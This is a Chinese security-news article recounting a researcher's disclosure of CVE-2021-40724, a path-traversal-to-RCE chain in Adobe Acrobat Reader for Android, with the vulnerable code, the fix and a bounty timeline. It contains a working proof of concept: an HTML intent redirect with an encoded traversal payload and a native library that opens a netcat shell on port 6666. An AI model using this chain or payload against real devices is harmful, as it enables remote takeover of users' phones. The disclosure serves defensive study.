$10,000奖励:安卓平台Adobe Acrobat Reader RCE漏洞

VSole2022-02-14 09:05:20

背景介绍:

今天的故事来自一位ID名为SUNNY的白帽子,他在测试 Adobe Acrobat Reader APP时,发现该应用程序允许用户直接从 http/https URL打开 pdf 的功能,此功能会受到路径遍历漏洞影响。Abode Reader 还使用 了Google Play 核心库进行动态代码加载,使用路径遍历错误和动态代码加载,从而实现远程代码执行(RCE),该漏洞的CVE编号为CVE-2021-40724。

寻找路径遍历漏洞:

<activity android:theme="@style/Theme_Virgo_SplashScreen" android:name="com.adobe.reader.AdobeReader" android:exported="true" android:launchMode="singleTask" android:screenOrientation="user" android:configChanges="keyboardHidden|screenLayout|screenSize|smallestScreenSize" android:noHistory="false" android:resizeableActivity="true">            <intent-filter>                <action android:name="android.intent.action.VIEW"/>                <action android:name="android.intent.action.EDIT"/>                <category android:name="android.intent.category.DEFAULT"/>                <category android:name="android.intent.category.BROWSABLE"/>                <data android:scheme="file"/>                <data android:scheme="content"/>                <data android:scheme="http"/>                <data android:scheme="https"/>                <data android:mimeType="application/pdf"/>            </intent-filter>

应用程序有一处intent-filter,表明可以接受 http/https URL,并且mime Type必须为application/pdf。

例如,当带有数据的URL(http://localhost/test.pdf)传送给Adobe Reader时,APP会将文件下载到/sdcard/Downloads/Adobe Acrobat文件夹中,文件名为所发送URL的LastPathSegment(如例子中会是test.pdf)

然后Activitycom.adobe.reader.AdobeReader接收到 Intent 并启动

ARFileURLDownloadActivityActivity。

public void handleIntent() {            Intent intent2 = new Intent(this, ARFileURLDownloadActivity.class);            intent2.putExtra(ARFileTransferActivity.FILE_PATH_KEY, intent.getData());            intent2.putExtra(ARFileTransferActivity.FILE_MIME_TYPE, intent.getType());            startActivity(intent2);    }

此时ARFileURLDownloadActivity会启动com.adobe.reader.misc.ARFileURLDownloadService服务。

public void onMAMCreate(Bundle bundle) {        super.onMAMCreate(bundle);        this.mServiceIntent = new Intent(this, ARFileURLDownloadService.class);        Bundle bundle2 = new Bundle();        //...//        this.mServiceIntent.putExtras(bundle2);        startService();    }

com.adobe.reader.misc.ARFileURLDownloadService.java代码:

public int onMAMStartCommand(Intent intent, int i, int i2) {         Bundle extras = intent.getExtras();        //..//        String string = extras.getString(ARFileTransferActivity.FILE_MIME_TYPE, null);        ARURLFileDownloadAsyncTask aRURLFileDownloadAsyncTask = new ARURLFileDownloadAsyncTask(ARApp.getInstance(), (Uri) extras.getParcelable(ARFileTransferActivity.FILE_PATH_KEY), (String) extras.getCharSequence(ARFileTransferActivity.FILE_ID_KEY), true, string);        this.mURLFileDownloadAsyncTask = aRURLFileDownloadAsyncTask;        aRURLFileDownloadAsyncTask.taskExecute(new Void[0]);        return 2;    }

com.adobe.reader.misc.ARURLFileDownloadAsyncTask.java代码:

 private void downloadFile() throws IOException, SVFileDownloadException {        Exception exc;        boolean z;        Throwable th;        boolean z2;        Uri fileURI = this.mDownloadModel.getFileURI();        URL url = new URL(fileURI.toString());        try {            String downloadFile = new ARFileFromURLDownloader(new ARFileFromURLDownloader.DownloadUrlListener() {               ARFileFromURLDownloader.DownloadUrlListener                public void onProgressUpdate(int i, int i2) {                    ARURLFileDownloadAsyncTask.this.broadcastUpdate(0, i, i2);                }
                @Override // com.adobe.reader.misc.ARFileFromURLDownloader.DownloadUrlListener                public boolean shouldCancelDownload() {                    return ARURLFileDownloadAsyncTask.this.isCancelled();                }            }).downloadFile(BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData(fileURI.getLastPathSegment(), this.mDownloadModel.getMimeType(), null, fileURI), url);            //...//

方法BBIntentUtils.getModifiedFileNameWithExtensionUsingIntentData接受this.mUri.getLastPathSegment()作为参数,并返回URL路径中解码后的最后一个片段。

例如,以URL:https://localhost/x/..%2F..%2Ffile.pdf为例,当这个URL传递给getLastPathSegment()方法时,它将接受..%2F..%2Ffile.pdf作为URL的最后一段,并返回../../file.pdf作为输出。

在将downloadFile变量传递到File实例之前,没有对其进行任何清理,于是便会导致路径遍历漏洞。

获得RCE:

Adobe Acrobat Reader APP使用Google Play核心库为用户提供移动附加功能,要知道应用程序是否正在使用Play Core库进行动态代码加载,一种简单的方法是检查/data/data/:application_id/files/目录中的spiltcompat目录。

使用路径遍历漏洞,白帽小哥可以在APP的

/data/data/com.adobe.reader/files/splitcompat/1921618197/verified-splits/目录中编写任意APK,攻击者的APK中的类将自动添加到APP的ClassLoader中,并在APP调用时执行恶意代码,更详细的解释,可移步:

https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/

Adobe Reader APP还会在运行期间下载一个名为FASOpenCVDF.apk的模块,白帽小哥原本的计划是覆盖该文件并远程访问代码执行,但是无法成功实现,问题在于路径遍历漏洞无法覆盖现有文件…只能创建新文件。

在这个阶段白帽小哥被困绕了很久,他一直在寻找一种方法在无需安装额外APK的前提下来远程代码执行,在白帽小哥的设备上安装的Play Core库分析了其他应用程序后,他看到Play Core库也提供了从/data/data/com.adobe.reader/files/splitcompat/:id/native-libraries/目录加载本地代码(.so文件)的功能。

FASOpenCVDF.apk模块会从

/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目录加载了一个本地库,于是白帽小哥决定查看FASOpenCVDF.apk源代码,在那里他发现这个模块还试图加载三个不可用的库libADCComponent.so、libColoradoMobile.so和libopencv_info.so,于是成功解决了远程代码执行的问题。

白帽小哥创建了一个简单的本地PoC库,将其重命名为libopencvinfo.so,并将其放入

/data/data/com.adobe.reader/files/splitcompat/1921819312/native-libraries/FASOpenCVDF.config.arm64_v8a目录中,在下一次APP启动时,只要使用填充和签名功能,就能成功执行恶意代码了。

POC代码:

<html><title> RCE in Adobe Acrobat Reader for android </title><body>    <script>        window.location.href="intent://34.127.85.178/x/x/x/x/x/..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.adobe.reader%2Ffiles%2Fsplitcompat%2F1921819312%2Fnative-libraries%2FFASOpenCVDF.config.arm64_v8a%2Flibopencv_info.so#Intent;scheme=http;type=application/*;package=com.adobe.reader;component=com.adobe.reader/.AdobeReader;end";</script>    </body></html>
#include <jni.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
    if (fork() == 0) {        system("toybox nc -p 6666 -L /system/bin/sh -l");    }    JNIEnv* env;    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {        return JNI_ERR;    }    return JNI_VERSION_1_6;}

漏洞修复:

com.adobe.libs.buildingblocks.utils.BBIntentUtils.java代码:

private static final String FILE_NAME_RESERVED_CHARACTER = "[*/\\|?<>\"]";public static String getModifiedFileNameWithExtensionUsingIntentData(String str, String str2, ContentResolver contentResolver, Uri uri) {        if (TextUtils.isEmpty(str)) {            str = BBConstants.DOWNLOAD_FILE_NAME;        }        String str3 = null;        if (!(contentResolver == null || uri == null)) {            str3 = MAMContentResolverManagement.getType(contentResolver, uri);        }        String str4 = !TextUtils.isEmpty(str3) ? str3 : str2;        if (!TextUtils.isEmpty(str4)) {            String fileExtensionFromMimeType = BBFileUtils.getFileExtensionFromMimeType(str4);            if (!TextUtils.isEmpty(fileExtensionFromMimeType)) {                if (str.lastIndexOf(46) == -1) {                    str = str + '.' + fileExtensionFromMimeType;                } else {                    String mimeTypeForFile = BBFileUtils.getMimeTypeForFile(str);                    if (TextUtils.isEmpty(mimeTypeForFile) || (!TextUtils.equals(mimeTypeForFile, str3) && !TextUtils.equals(mimeTypeForFile, str2))) {                        str = str + '.' + fileExtensionFromMimeType;                    }                }            }        }        return str.replaceAll(FILE_NAME_RESERVED_CHARACTER, "_");    }

漏洞处理时间线:

  • Jul 29th,2021 - 向Adobe报告漏洞
  • Aug 4th ,2021 - 报告跟踪
  • Oct 13th,2021 - 漏洞修复
  • Dec 4th ,2021 - 获得来自GPSRP $10,000 奖励
urlstring
本作品采用《CC 协议》,转载必须注明作者和本文链接
JSubFinder是一款基于Golang开发的敏感信息搜索工具,根据给定的URL地址,广大研究人员可以轻松使用JSubFinder来寻找目标网站页面&JavaScript中隐藏的子域名和敏感信息。该工具利用了Go的高性能特性,并支持处理大量数据,而且可以轻松与其他工具连接成工作流。
JNDI漏洞利用探索
2022-01-23 19:33:23
最近学习了浅蓝师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JN
About dismapDismap 定位是一个适用于内外网的资产发现和识别工具;其特色功能在于快速识别 Web 指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点。Dismap 拥有完善的指纹规则库,可轻松自定义新识别规则。
引言C3P0反序列化利用链是Java反序列化漏洞中比较经典的一条RCE利用链。最近看到有大佬对C3P0利用链不出网做了一些研究,在此基础上,自己也系统地梳理一下各种姿势的C3P0利用链,包括:Java原生态反序列化利用链-远程加载恶意类Java原生态反序列化利用链改进-无需出网Json反序列化利用链-远程加载恶意类Json反序列化利用链-无需出网这里将4个利用链的原理分析与具体实现分享给大家。
這是一款音樂節奏型的遊戲,遊戲玩法爲本地和聯網混合。IPA 提取拆包預備條件:已越獄的 iOS 設備。我們可以試試更加有效的更改殘片值的方法。我們現在就來讓修改程序直接繞過校驗。根本不需要去研究那些哈希值是怎麼計算出來的。HTTPS API 抓包接下來我們做點稍有難度的,抓取 HTTPS API 數據包。首先我們需要給 iOS 設備配置中間人代理,並且能替換 HTTPS 證書解密加密流量內容。這需要一個中間人代理軟件,最好還能記錄數據包。
网址缩短器允许用户将200个字符的URL转换成实质上更少的内容。在这篇文章中,研究人员分享了其滥用URL缩短器的经验,并涵盖2种不同实现的3种不同攻击场景。这似乎在整个企业内部使用,因为大多数收集的URL会重定向到登录页面。但是,通过访问一个无效的URL,应用程序将进入损坏的404页面。检查源代码发现其暴露了多个端点,这些端点允许经过身份验证的用户,添加/编辑/删除 URL以及查看统计信息。
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
crawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。调研1.
ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123.. 在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。 在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。
意料之中一大堆参数,反复几次总结需分析的参数应该为以下几个:X-Sign、wToken、X-Ca-Signature、X-Access-Token、X-Ca-Timestamp. 跟进得:public static Map z { String str; String a2 = wo3.a; HashMap hashMap = new HashMap(); hashMap.put; hashMap.put; hashMap.put; if (!TextUtils.isEmpty) { hashMap.put; no3.a; } hashMap.put("Authorization", StringUtils.isEmpty(it3.g()) ?= '\t') || charAt >= 127) { str2.replace; } } hashMap.put; hashMap.put("X-ConnectionType", y
VSole
网络安全专家